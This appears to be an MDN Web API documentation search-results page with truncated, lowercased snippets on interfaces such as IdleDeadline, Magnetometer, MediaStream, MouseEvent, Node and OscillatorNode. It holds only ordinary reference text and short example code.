...asktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequ...
...And 2 more matches
IDBVersionChangeRequest.setVersion() - Web APIs
for older webkit browsers, call this method before creating or deleting an object store.
... warning: the latest draft of the specification has dropped this method.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsetversion deprecatednon-standardchrome no support noedge no support nofirefox no support noie no support noopera no support nosafari no support now...
...And 2 more matches
IDBVersionChangeRequest - Web APIs
warning: the latest specification does not include this interface anymore as the idbdatabase.setversion() method has been removed.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbversionchangerequest deprecatednon-standardchrome no support 12 — 23prefixed no support 12 — 23prefixed prefixed implemented with the vendor prefix: webkitedge ?
... nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no support nosetversion deprecatednon-standardchrome no support noedge no support nofirefox no support noie no support noopera no support nosafari no support now...
...And 2 more matches
IdleDeadline.didTimeout - Web APIs
the read-only didtimeout property on the idledeadline interface is a boolean value which indicates whether or not the idle callback is being invoked because the timeout interval specified when window.requestidlecallback() was called has expired.
... idle callbacks support the concept of a timeout in order to ensure that whatever task they're meant to perform actually happens, even if the user agent never has enough idle time available.
... your callback will typically check the value of didtimeout if it needs to perform an action even if the browser is too busy to grant you the time; you should react by performing the needed task or, ideally, a minimal amount of work that can be done to keep things moving along, then schedule a new callback to try again to get the rest of the work done.
...And 2 more matches
IdleDeadline.timeRemaining() - Web APIs
the callback can call this method at any time to determine how much time it can continue to work before it must return.
... for example, if the callback finishes a task and has another one to begin, it can call timeremaining() to see if there's enough time to complete the next task.
... if there isn't, the callback can just return immediately, or look for other work to do with the remaining time.
...And 2 more matches
ImageBitmapRenderingContext - Web APIs
the imagebitmaprenderingcontext interface is a canvas rendering context that provides the functionality to replace the canvas's contents with the given imagebitmap.
... its context id (the first argument to htmlcanvaselement.getcontext() or offscreencanvas.getcontext()) is "bitmaprenderer".
... methods imagebitmaprenderingcontext.transferfromimagebitmap() displays the given imagebitmap in the canvas associated with this rendering context.
...And 2 more matches
InputEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86...
... inputevent.iscomposingread only returns a boolean value indicating if the event is fired after compositionstart and before compositionend.
... inputevent.gettargetranges() returns an array of static ranges that will be affected by a change to the dom if the input event is not canceled.
...And 2 more matches
InstallTrigger - Web APIs
in either case, you must trigger the installation process by creating a web page script in which installtrigger methods download the specified xpi file and "trigger" the execution of the install.js script at the top level of that xpi.
...the following is a basic example of an install trigger on a web page: xpi={'xpinstall dialog display name':'simple.xpi'}; installtrigger.install(xpi); you can also use the installtrigger object to install netscape 6/mozilla skins and language packs, and perform multiple-package installations with install.
... enabled indicates whether or not software installation is enabled for this client machine.
...And 2 more matches
IntersectionObserver.observe() - Web APIs
one observer has one set of thresholds and one root, but can watch multiple target elements for visibility changes in keeping with those.
... to stop observing the element, call intersectionobserver.unobserve().
... when the visibility of the specified element crosses over one of the observer's visibility thresholds (as listed in intersectionobserver.thresholds), the observer's callback is executed with an array of intersectionobserverentry objects representing the intersection changes which occurred.
...And 2 more matches
KeyboardEvent.charCode - Web APIs
do not use this property, as it is deprecated.
...if the key pressed generates a character (e.g., 'a'), charcode is set to the code of that character; charcode respects the letter case (in other words, charcode takes into account whether the shift key is held down).
...in these cases, keycode is set instead.
...And 2 more matches
KeyboardLayoutMap - Web APIs
the keyboardlayoutmap interface of the the keyboard api is a map-like object with functions for retrieving the string associated with specific physical keys.
... a list of valid keys is found in the ui events keyboardevent code values specification.
... keyboardlayoutmap.has() returns a boolean indicating whether the keyboardlayoutmap object has an element with the specified key.
...And 2 more matches
KeyframeEffect.KeyframeEffect() - Web APIs
although this is technically optional, keep in mind that your animation will not run if this value is 0.
...0.5 would indicate starting halfway through the first iteration for example, and with this value set, an animation with 2 iterations would end halfway through a third iteration.
...defaults to 1, and can also take a value of infinity to make it repeat for as long as the element exists.
...And 2 more matches
LinearAccelerationSensor.LinearAccelerationSensor() - Web APIs
if a feature policy blocks use of a feature, it is because your code is inconsistent with the policies set on your server.
... syntax var linearaccelerationsensor = new linearaccelerationsensor([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
... specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
LinearAccelerationSensor.x - Web APIs
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example linear acceleration is typically read in the sensor.onreading event callback.
... let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
LinearAccelerationSensor.y - Web APIs
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example linear acceleration is typically read in the sensor.onreading event callback.
... let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
LinearAccelerationSensor.z - Web APIs
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example linear acceleration is typically read in the sensor.onreading event callback.
... let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
LinearAccelerationSensor - Web APIs
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example linear acceleration is typically read in the sensor.onreading event callback.
... let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
MSGestureEvent - Web APIs
positive values indicate clockwise rotation; negative values indicate anticlockwise rotation.
... msgestureevent.scale read only the difference in scale (for zoom gestures) from the previous msgestureevent of the current gesture.
...this method is deprecated as of microsoft edge.
...And 2 more matches
Magnetometer.Magnetometer() - Web APIs
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... syntax var magnetometer = new magnetometer([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
... specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
Magnetometer.x - Web APIs
WebAPIMagnetometerx
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example the magnetometer is typically read in the sensor.onreading event callback.
... let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
Magnetometer.y - Web APIs
WebAPIMagnetometery
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example the magnetometer is typically read in the sensor.onreading event callback.
... let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
Magnetometer.z - Web APIs
WebAPIMagnetometerz
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example the magnetometer is typically read in the sensor.onreading event callback.
... let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
Magnetometer - Web APIs
if a feature policy blocks use of a feature, it's because your code is inconsistent with the policies set on your server.
... example the magnetometer is typically read in the sensor.onreading event callback.
... let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
MediaConfiguration - Web APIs
the mediaconfiguration mediacapabilities dictionary of the media capabilities api describes how media and audio files must be configured, or defined, to be passed as a parameter of the mediacapabilities.encodinginfo() and mediacapabilities.encodinginfo() methods.
... a valid media decoding configuration, to be submitted as the parameter for mediacapabilities.decodinginfo() method, has it's `type` set as: file: for plain playback file.
... a valid media encoding configuration, to be submitted as the parameter for mediacapabilities.encodinginfo() method, has it's `type` set as: record: for recording media.
...And 2 more matches
MediaDeviceInfo.deviceId - Web APIs
it is un-guessable by other applications, and unique to the origin of the calling application.
... specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification.
... candidate recommendation initial definition.
...And 2 more matches
MediaDevices.enumerateDevices() - Web APIs
the mediadevices method enumeratedevices() requests a list of the available media input and output devices, such as microphones, cameras, headsets, and so forth.
... if (!navigator.mediadevices || !navigator.mediadevices.enumeratedevices) { console.log("enumeratedevices() not supported."); return; } // list cameras and microphones.
... navigator.mediadevices.enumeratedevices() .then(function(devices) { devices.foreach(function(device) { console.log(device.kind + ": " + device.label + " id = " + device.deviceid); }); }) .catch(function(err) { console.log(err.name + ": " + err.message); }); this might produce: videoinput: id = cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: id = rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: id = r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= or if one or more mediastreams are active or persistent permissions are granted: videoinput: facetime hd camera (built-in) id=cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: default (built-in microphone) id=rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: built-in microphone id=r2/xw1xu...
...And 2 more matches
MediaError.message - Web APIs
the read-only property mediaerror.message returns a domstring which contains a human-readable string offering specific diagnostic details related to the error described by the mediaerror object, or an empty string ("") if no diagnostic information can be determined or provided.
... only the relevant parts of the code are displayed; you can see the complete source code here.
... the error handler looks like this: audioelement.onerror = function() { let s = ""; let err = audioelement.error; switch(err.code) { case mediaerror.media_err_aborted: s += "the user canceled the audio."; break; case mediaerror.media_err_network: s+= "a network error occurred while fetching the audio."; break; case mediaerror.media_err_decode: s+= "an error occurred while decoding the audio."; break; case mediaerror.media_err_src_not_supported: s+= "the aud...
...And 2 more matches
MediaError - Web APIs
a mediaerror object describes the error in general terms using a numeric code categorizing the kind of error, and a message, which provides specific diagnostics about what went wrong.
... mediaerror.message a domstring object containing a human-readable string which provides specific diagnostic information to help the reader understand the error condition which occurred; specifically, it isn't simply a summary of what the error code means, but actual diagnostic information to help in understanding what exactly went wrong.
... this text and its format is not defined by the specification and will vary from one user agent to another.
...And 2 more matches
MediaKeySession - Web APIs
this promise can only be fulfilled and is never rejected.
... mediakeysession.expiration read only the time after which the keys in the current session can no longer be used to decrypt media data, or nan if no such time exists.
... event handlers mediakeysession.onkeystatuseschange sets the eventhandler called when there has been a change in the keys in a session or their statuses.
...And 2 more matches
MediaKeyStatusMap.forEach() - Web APIs
the foreach property of the mediakeystatusmap interface calls callback once for each key-value pair in the status map, in insertion order.
... if an argument is present it will be passed to the callback.
... syntax mediakeystatusmap.foreach(callback[, thisarg]) parameters callback function to execute for each element, taking three arguments: currentvalue the current element being processed in the array.
...And 2 more matches
MediaPositionState.position - Web APIs
the mediapositionstate dictionary's position property is used when calling the mediasession method setpositionstate() to provide the user agent with the current playback position, in seconds, of the currently-playing media.
... syntax let positionstate = { position: timeinseconds }; let duration = positionstate.duration; value a floating-point value indicating the current playback position within the media currently being performed, in seconds.
... example in this example, a player for a non-standard media file format, written in javascript, uses setinterval() to establish a callback which fires once per second to refresh the position information by calling setpositionstate().
...And 2 more matches
MediaQueryList.removeListener() - Web APIs
this is basically an alias for eventtarget.removeeventlistener(), for backwards compatibility purposes — in older browsers you could use removeeventlistener() instead.
... syntax mediaquerylist.removelistener(func) parameters func a function or function reference representing the callback function you want to remove.
... in the original implementation, the callback was a non-standard mediaquerylistlistener object.
...And 2 more matches
MediaQueryListListener - Web APIs
the mediaquerylist.addlistener() callback is now a plain function and called with the standard mediaquerylistevent object.
... a mediaquerylist object maintains a list of media queries on a document, and handles sending notifications to listeners when the media queries on the document change.
... this makes it possible to observe a document to detect when its media queries change, instead of polling the values periodically, if you need to detect changes to the values of media queries on a document.
...And 2 more matches
MediaRecorder: dataavailable event - Web APIs
the mediarecorder interface's dataavailable event is fired when the mediarecorder delivers media data to your application for its use.
... bubbles no cancelable no interface blobevent event handler property ondataavailable for details of the all the possible reasons this event may raise, see the documentation for the event handler property: ondataavailable.
... var chunks = []; mediarecorder.addeventlistener('stop', (event) => { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); }); mediarecorder.addeventlistener('dataavailable', (event) => { chunks.push(event.data); }); ...
...And 2 more matches
MediaRecorder.pause() - Web APIs
when a mediarecorder object’s pause()method is called, the browser queues a task that runs the below steps: if mediarecorder.state is "inactive", raise a dom invalidstate error and terminate these steps.
... stop gathering data into the current blob, but keep it available so that recording can be resumed later on.
... exceptions invalidstateerror the mediarecorder is currently "inactive"; you can't pause recording if it's not active.
...And 2 more matches
MediaSession - Web APIs
the mediasession interface of the media session api allows a web page to provide custom behaviors for standard media playback interactions, and to report metadata that can be sent by the user agent to the device or operating system for presentation in standardized user interface elements.
...a browser on that device might deliver the metadata provided by calling mediasession to the device in order to be controllable using the global user interface.
... playbackstate indicates whether the current media session is playing.
...And 2 more matches
MediaSessionActionDetails.seekOffset - Web APIs
the mediasessionactiondetails dictionary's seekoffset property is an optional value passed into the action handler callback to provide the number of seconds the seekforward and seekbackward actions should move the playback time by.
... syntax let mediasessionactiondetails = { seekoffset: deltatimeinseconds }; let deltatime = mediasessionactiondetails.seekoffset; value a floating-point value indicating the time delta in seconds by which to move the playback position relative to its current timestamp.
... if the offset isn't specified, the user agent will choose an appropriate offset automatically.
...And 2 more matches
MediaSettingsRange - Web APIs
the mediasettingsrange interface of the the mediastream image capture api provides the possible range and value size of photocapabilities.imageheight and photocapabilities.imagewidth.
... a photocapabilities object can be retrieved by calling imagecapture.photocapabilities().
... example the following example, extracted from chrome's image capture / photo resolution sample, uses the results from getphotocapabilities().imagewidth to modify the size of an input range.
...And 2 more matches
MediaStream.clone() - Web APIs
WebAPIMediaStreamclone
the clone() method of the mediastream interface creates a duplicate of the mediastream.
... this new mediastream object has a new unique id and contains clones of every mediastreamtrack contained by the mediastream on which clone() was called.
... return value a new mediastream instance which has a new unique id and contains clones of every mediastreamtrack contained by the mediastream on which clone() was called.
...And 2 more matches
MediaStream.onaddtrack - Web APIs
the mediastream.onaddtrack property is an eventhandler which specifies a function to be called when the addtrack event occurs on a mediastream instance.
...this event is fired when the browser adds a track to the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source.
... the addtrack event does not get fired when javascript code explicitly adds tracks to the stream (by calling addtrack()).
...And 2 more matches
MediaStream.onremovetrack - Web APIs
the mediastream.onremovetrack property is an eventhandler which specifies a function to be called when the removetrack event occurs on a mediastream instance.
...this event is fired when the browser removes a track from the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source.
... the removetrack event does not get fired when javascript code explicitly removes tracks from the stream (by calling removetrack()).
...And 2 more matches
MediaStreamTrack.clone() - Web APIs
the clone() method of the mediastreamtrack interface creates a duplicate of the mediastreamtrack.
... this new mediastreamtrack object is identical except for its unique id.
... syntax const newtrack = track.clone() return value a new mediastreamtrack instance which is identical to the one clone() was called, except for its new unique id.
...And 2 more matches
MediaStreamTrack.readyState - Web APIs
syntax const state = track.readystate value it takes one of the following values: "live" which indicates that an input is connected and does its best-effort in providing real-time data.
... in that case, the output of data can be switched on or off using the mediastreamtrack.enabled property.
... "ended" which indicates that the input is not giving any more data and will never provide new data.
...And 2 more matches
MediaTrackSettings.displaySurface - Web APIs
the mediatracksettings dictionary's displaysurface property indicates the type of display surface being captured.
... syntax displaysurface = mediatracksettings.displaysurface; value the value of displaysurface is a string that comes from the displaycapturesurfacetype enumerated type, and is one of the following: application the stream's video track contains all of the windows belonging to the application chosen by the user.
... browser the stream's video track presents the entire contents of a single browser tab which the user selected during the getdisplaymedia() call.
...And 2 more matches
MediaTrackSupportedConstraints.cursor - Web APIs
the mediatracksupportedconstraints dictionary's cursor property indicates whether or not the cursor constraint is supported by the user agent and the device on which the content is being used.
... the supported constraints list is obtained by calling navigator.mediadevices.getsupportedconstraints().
... example this method sets up the constraints object specifying the options for the call to getdisplaymedia().
...And 2 more matches
MediaTrackSupportedConstraints.displaySurface - Web APIs
the mediatracksupportedconstraints dictionary's displaysurface property indicates whether or not the displaysurface constraint is supported by the user agent and the device on which the content is being used.
... the supported constraints list is obtained by calling navigator.mediadevices.getsupportedconstraints().
... example this method sets up the constraints object specifying the options for the call to getdisplaymedia().
...And 2 more matches
MediaTrackSupportedConstraints.frameRate - Web APIs
the framerate constraint can be used to establish acceptable upper and lower bounds on the video frame rate for a new video track, or to specify an exact frame rate that must be provided for the request to succeed.
...see the example to see how this can be used.
...ument.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().framerate) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } html <div id="result"> </div> css #result { font: 14px "arial", sans-serif; } result the output, showing if your browser supports the framerate constraint, is: while this example is trivial, you can replace the simple output of "supported" vs.
...And 2 more matches
MediaTrackSupportedConstraints - Web APIs
because of the way interface definitions in webidl work, if a constraint is requested but not supported, no error will occur.
... instead, the specified constraints will be applied, with any unrecognized constraints stripped from the request.that can lead to confusing and hard to debug errors, so be sure to use getsupportedconstraints() to retrieve this information before attempting to establish constraints if you need to know the difference between silently ignoring a constraint and a constraint being accepted.
... to learn more about how constraints work, see capabilities, constraints, and settings.
...And 2 more matches
Media Session API - Web APIs
the media session api provides a way to customize media notifications.
...the platform can show this metadata in media centers, notifications, device lockscreens, etc.
...since multiple pages may be simultaneously using this api, the user agent is responsible for calling the correct page's event handlers.
...And 2 more matches
MerchantValidationEvent.complete() - Web APIs
all you have to do is call complete() from your handler for the merchantvalidation event, passing in the data fetched from the validationurl.
... example in this example, we see the client-side code needed to support merchant validation for a payment request called payrequest: payrequest.onmerchantvalidation = event => { const validationdatapromise = getvalidationdata(event.validationurl); event.complete(validationdatapromise); } function getvalidationdata(url) { /* ...retrieve the validation data from the url...
...the event handler calls a function, getvalidationdata(), which retrieves the data from the validation url, then passes that data (or a promise to deliver the data) into complete().
...And 2 more matches
MessagePort - Web APIs
event handlers inherits event handlers from its parent, eventtarget onmessage an eventlistener called when messageevent of type message is fired on the port—that is, when the port receives a message.
... onmessageerror an eventlistener called when a messageevent of type messageerror is fired—that is, when it receives a message that cannot be deserialized.
... messageerror fired when a messageport object receives a message that can't be deserialized.
...And 2 more matches
Metadata - Web APIs
WebAPIMetadata
this metadata includes the file's size and modification date and time.
... properties modificationtime read only a date object indicating the date and time the entry was modified.
... size read only a 64-bit unsigned integer indicating the size of the entry in bytes.
...And 2 more matches
MouseEvent.clientX - Web APIs
the clientx read-only property of the mouseevent interface provides the horizontal coordinate within the application's client area at which the event occurred (as opposed to the coordinate within the page).
... html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'clientx' in that specification.
... document object model (dom) level 3 events specificationthe definition of 'mouseevent.clientx' in that specification.
...And 2 more matches
MouseEvent.ctrlKey - Web APIs
the mouseevent.ctrlkey read-only property is a boolean that indicates whether the ctrl key was pressed or not when a given mouse event occurs.
... syntax var ctrlkeypressed = instanceofmouseevent.ctrlkey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed.
... html <p>click anywhere to test the <code>ctrlkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the ctrl key is pressed: ${e.ctrlkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.ctrlkey' in that specification.
...And 2 more matches
MouseEvent.metaKey - Web APIs
the mouseevent.metakey read-only property is a boolean that indicates whether the meta key was pressed or not when a given mouse event occurs.
... syntax var metakeypressed = instanceofmouseevent.metakey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed.
... html <p>click anywhere to test the <code>metakey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the meta key is pressed: ${e.metakey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.metakey' in that specification.
...And 2 more matches
MouseEvent.pageX - Web APIs
WebAPIMouseEventpageX
this property was originally specified in the touch events specification as a long integer, but was redefined in the cssom view module to be a double-precision floating-point number to allow for subpixel precision.
... example more examples you can also see an example that demonstrates how to access the mouse position information in every available coordinate system.
... .box { width: 400px; height: 250px; border: 2px solid darkblue; background-color: blue; color: white; font: 16px "zilla", "open sans", "helvetica", "arial", sans-serif; } result try this out here: specifications specification status comment css object model (cssom) view modulethe definition of 'pagex' in that specification.
...And 2 more matches
MouseEvent.screenX - Web APIs
its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result routing an event when you trap events on the window, document, or other roomy elements, you can get the coordinates of that event (e.g., a click) and route it properly, as the following example demonstrates: function checkclickmap(e) { if (e.screenx < 50) doredbutton(); if (50 <= e.screenx && e.screenx < 100) doyellowbutton(); if (e.screenx >= 100) doredbutton(); } specifications specification status comment css object model (cssom) view modulethe definiti...
...on of 'screenx' in that specification.
... document object model (dom) level 3 events specificationthe definition of 'mouseevent.screenx' in that specification.
...And 2 more matches
MouseEvent.screenY - Web APIs
the screeny read-only property of the mouseevent interface provides the vertical coordinate (offset) of the mouse pointer in global (screen) coordinates.
... html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'screeny' in that specification.
... document object model (dom) level 3 events specificationthe definition of 'mouseevent.screeny' in that specification.
...And 2 more matches
MouseEvent.shiftKey - Web APIs
the mouseevent.shiftkey read-only property is a boolean that indicates whether the shift key was pressed or not when a given mouse event occurs.
... syntax var shiftkeypressed = instanceofmouseevent.shiftkey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed.
... html <p>click anywhere to test the <code>shiftkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the shift key is pressed: ${e.shiftkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.shiftkey' in that specification.
...And 2 more matches
MutationObserverInit.characterData - Web APIs
syntax var options = { characterdata: true | false } value a boolean value indicating whether or not to call the observer's callback function when textual nodes' values change.
... if true, the callback specified when observe() was used to start observing the node or subtree is called any time the contents of a text node are changed.
... you can expand the capabilities of attribute mutation monitoring using other options: characterdataoldvalue lets you specify whether or not you want the previous value of changed text nodes to be provided using the mutationrecord's oldvalue property.
...And 2 more matches
Navigator.onLine - Web APIs
in chrome and safari, if the browser is not able to connect to a local area network (lan) or a router, it is offline; all other conditions return true.
... so while you can assume that the browser is offline when it returns a false value, you cannot assume that a true value necessarily means that the browser can access the internet.
... you could be getting false positives, such as in cases where the computer is running a virtualization software that has virtual ethernet adapters that are always "connected." therefore, if you really want to determine the online status of the browser, you should develop additional means for checking.
...And 2 more matches
Node.compareDocumentPosition() - Web APIs
return value an integer value whose bits represent the othernode's relationship to the calling node.
...for example, if othernode is located earlier in the document and contains the node on which comparedocumentposition() was called, then both the document_position_contains and document_position_preceding bits would be set, producing a value of 10 (0x0a).
... example const head = document.head; const body = document.body; if (head.comparedocumentposition(body) & node.document_position_following) { console.log('well-formed document'); } else { console.error('<head> is not before <body>'); } note: because the result returned by comparedocumentposition() is a bitmask, the bitwise and operator must be used for meaningful results.
...And 2 more matches
Node.removeChild() - Web APIs
WebAPINoderemoveChild
in the second syntax form, however, there is no oldchild reference kept, so assuming your code has not kept any other reference to the node elsewhere, it will immediately become unusable and irretrievable, and will usually be automatically deleted from memory after a short time.
...this will also happen if child was in fact a child of element at the time of the call, but was removed by an event handler invoked in the course of trying to remove the element (e.g., blur.) errors thrown the method throws an exception in 2 different ways: if the child was in fact a child of element and so existing on the dom, but was removed the method throws the following exception: uncaught notfounderror: failed to execute 'removechild' on 'node': the node to be removed is not a child of this node.
... if the child doesn't exist on the dom of the page, the method throws the following exception: uncaught typeerror: failed to execute 'removechild' on 'node': parameter 1 is not of type 'node'.
...And 2 more matches
Node.setUserData() - Web APIs
WebAPINodesetUserData
htmlelement.dataset or weakmap can be used instead.
...more than one key can be set for a given node.
... handler is a callback which will be called any time the node is being cloned, imported, renamed, as well as if deleted or adopted; a function can be used or an object implementing the handle method (part of the userdatahandler interface).
...And 2 more matches
NodeIterator.filter - Web APIs
when creating the nodeiterator, the filter object is passed in as the third parameter, and the object method acceptnode(node) is called on every single node to determine whether or not to accept it.
... this function should return the constant nodefilter.filter_accept for cases when the node should be accepted and nodefilter.filter_reject for cases when the node should be rejected.
... syntax nodefilter = nodeiterator.filter; example const nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); nodefilter = nodeiterator.filter; specifications specification status comment domthe definition of 'nodeiterator.filter' in that specification.
...And 2 more matches
NodeIterator.nextNode() - Web APIs
the first call to nextnode() returns the first node in the set.
... in old browsers, as specified in old versions of the specifications, the method may throws the invalid_state_err domexception if this method is called after the nodeiterator.detach()method.
... syntax node = nodeiterator.nextnode(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false // this optional argument is not used any more ); currentnode = nodeiterator.nextnode(); // returns the next node specifications specification status comment domthe definition of 'nodeiterator.nextnode' in that specification.
...And 2 more matches
OscillatorNode.setPeriodicWave() - Web APIs
the setperiodicwave() method of the oscillatornode interface is used to point to a periodicwave defining a periodic waveform that can be used to shape the oscillator's output, when type is custom.
... var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.start(); osc.stop(2); this works because a sound that contains only a fundamental tone is by definition a sine wave.
...0 is good here, because we want to start the curve at the middle of the [-1.0; 1.0] range.
...And 2 more matches
OscillatorNode - Web APIs
it is an audioscheduledsourcenode audio-processing module that causes a specified frequency of a given wave to be created—in effect, a constant tone.
... if the default values are acceptable, you can simply call the baseaudiocontext.createoscillator() factory method.
... oscillatornode.type a string which specifies the shape of waveform to play; this can be one of a number of standard values, or custom to use a periodicwave to describe a custom waveform.
...And 2 more matches
PannerNode.positionY - Web APIs
the positiony property of the pannernode interface specifies the y coordinate of the audio source's position in 3d cartesian coordinates, corresponding to the vertical axis (top-bottom).
